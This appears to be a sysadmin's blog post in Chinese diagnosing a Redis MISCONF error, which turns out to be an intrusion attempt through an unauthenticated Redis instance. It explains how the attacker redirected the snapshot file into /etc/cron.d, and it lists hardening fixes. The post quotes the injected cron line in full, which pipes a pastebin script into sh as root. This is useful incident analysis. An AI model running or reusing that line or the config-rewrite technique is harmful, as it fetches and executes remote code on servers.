这几天服务器上的 redis,出现了一个比较严重的问题:
程序返回错误:
MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error.
lavavel 日志中记录:
Predis\Response\ServerException: MISCONF Redis is configured to save RDB snapshots, but is currently not able to persist on disk. Commands that may modify the data set are disabled. Please check Redis logs for details about the error. in /data/wwwroot/pinxuejianyou/vendor/predis/predis/src/Client.php:365
意思是:
redis 中配置了保存 rdb 文件,但是目前不能永久保存到 '硬盘' 上
问题分析:
定位到是因为 '权限不足',写入不到硬盘上
1.查看 redis 配置
vim /usr/local/redis/etc/redis.conf
发现 dir 配置为:/usr/local/redis/db/,没问题
2.查看 redis 运行中配置
redis-cli
config get dir // rdb 存储目录,居然动态变成了 '/etc/cron.d/'
config get dbfilename // rdb 文件名,居然动态变成了 'root'
3.考虑到 redis 服务,通过 'service redis start' 启动,查看 service redis 启动脚本
which service // 获取 service 路径,/usr/sbin/service
vim /usr/sbin/service // 查看 service 文件,看到:SERVICEDIR="/etc/init.d"
cd /etc/init.d/ // 查看各种 service 目录
vim redis-server // 查看 redis-server 启动文件
/*
PIDFILE=/var/run/redis.pid
touch $PIDFILE
chown redis:redis $PIDFILE
if start-stop-daemon --start --quiet --pidfile $PIDFILE --chuid redis:redis --exec $DAEMON -- $DAEMON_ARGS
*/
/*
分析:
start-stop-daemon // linux 中守护进程启动、停止工具
--pidfile redis pidfile - /var/run/redis.pid // 会覆盖 /usr/local/redis/etc/redis.conf 配置文件中的配置(redis 用户和用户组具有权限)
--chuid redis:redis // 以 redis 用户来运行 redis-server 服务
*/
结论:
以 redis 用户来运行的 redis-server 服务,redis 配置的 bind 0.0.0.0,允许所有主机连接,并且未配置密码,导致有恶意用户,连接 redis,通过命令行修改了 'dir' 和 'dbfilename' 的配置,从而进行服务器入侵
(因 redis 用户,没有 /etc/cron.d/ 写入权限,导致报错!幸好不是以 root 身份运行,如果是的话,应该已经被入侵成功了!)
4.查看 redis 数据,发现被注入 'nightsoft' => '*/1 * * * * root curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh'
有兴趣可以看下,看了半天 shell,有点看不懂。应该是可以删除服务器任意文件
5.解决方法:
1>切记 redis-server 不要使用 root 身份来运行
2>禁用远程连接,或者远程连接,设置密码
bind 127.0.0.1
requirepass
3>redis中仍旧保存着线上的数据。挑晚上访问人数少的时候,关闭redis。同时将 被修改的数据库文件 root 重名为 dump.rdb,放到 usr/local/redis/db/,然后再重新启动!
4>不要忘记删除被注入的 key
6.参考文章:
https://github.com/antirez/redis/issues/3594
https://stackoverflow.com/questions/22160753/redis-failed-opening-rdb-for-saving-permission-denied
// 这篇文章分析的很透彻,我的 redis 也是非root用户启动
https://airycanon.me/jie-jue-redis-de-getshell-yin-qi-de-bgsave-cuo-wu/
配置漏洞之redis未授权访问(非常好)
https://uknowsec.cn/posts/skill/%E9%85%8D%E7%BD%AE%E6%BC%8F%E6%B4%9E%E4%B9%8Bredis%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE.html
Linux渗透之反弹Shell(非常好)
http://www.360zhijia.com/360anquanke/185215.html
netcat - 网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据(非常好)
https://www.oschina.net/translate/linux-netcat-command/
redis 文档
https://redis.io/documentation